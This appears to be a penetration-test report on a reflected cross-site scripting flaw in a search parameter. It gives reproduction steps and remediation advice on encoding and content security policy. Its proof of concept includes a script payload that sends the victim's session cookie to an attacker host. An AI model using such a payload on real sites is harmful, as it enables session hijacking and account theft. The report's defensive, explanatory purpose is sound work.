Penetration Testing Writeup: Cross-Site Scripting (XSS) Vulnerability

Executive Summary

During a recent penetration test conducted on [Target Application], a critical Cross-Site Scripting (XSS) vulnerability was identified in the application's user input handling mechanism. This vulnerability allows an attacker to inject malicious scripts into web pages viewed by other users, potentially leading to session hijacking, data theft, or defacement of the website. This report details the vulnerability, its impact, proof of concept, and recommended remediation steps.

Vulnerability Details

Description

The search functionality on the main page of [Target Application] does not properly sanitize user inputs in the query parameter. When a user submits a search query, the application reflects the input directly into the HTML response without encoding or validation. This allows an attacker to craft a malicious URL containing JavaScript code that executes in the context of the victim's browser.

Impact

Proof of Concept

  1. Navigate to the search page: https://[target-application]/search?query=<script>alert('XSS Vulnerability');</script>
  2. Observe that an alert box with the message "XSS Vulnerability" appears in the browser.
  3. A more malicious payload could be used, such as:
    https://[target-application]/search?query=<script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>
    This payload sends the user's session cookie to an attacker-controlled server.

Steps to Reproduce

  1. Open a web browser and navigate to https://[target-application]/search.
  2. In the search bar, enter the following payload: <script>alert('XSS Vulnerability');</script>.
  3. Submit the search query.
  4. Verify that the JavaScript alert is triggered, confirming the vulnerability.

Remediation Recommendations

To mitigate this vulnerability, the following actions are recommended:

  1. Input Validation and Sanitization:
    • Implement strict input validation to ensure only expected characters are allowed in the search query (e.g., alphanumeric characters and specific symbols).
    • Use a server-side library like OWASP's AntiSamy or a similar HTML sanitization tool to filter out malicious code.
  2. Output Encoding:
    • Encode all user inputs when rendering them in the HTML response using context-appropriate encoding (e.g., HTML entity encoding for HTML content, JavaScript encoding for script contexts).
    • Example: Convert < to &lt; and > to &gt; before rendering.
  3. Content Security Policy (CSP):
    • Implement a strict CSP header to prevent the execution of inline scripts and restrict script sources to trusted domains.
    • Example CSP header: Content-Security-Policy: script-src 'self'; object-src 'none';
  4. Secure Development Training:
    • Train developers on secure coding practices, emphasizing the risks of XSS and the importance of input validation and output encoding.
  5. Regular Security Testing:
    • Conduct periodic penetration testing and code reviews to identify and address similar vulnerabilities.

Conclusion

The identified XSS vulnerability poses a significant risk to the security and integrity of [Target Application]. Immediate action is required to implement the recommended remediation steps. By addressing this issue, the application can protect its users from potential attacks and maintain trust in its security posture.

References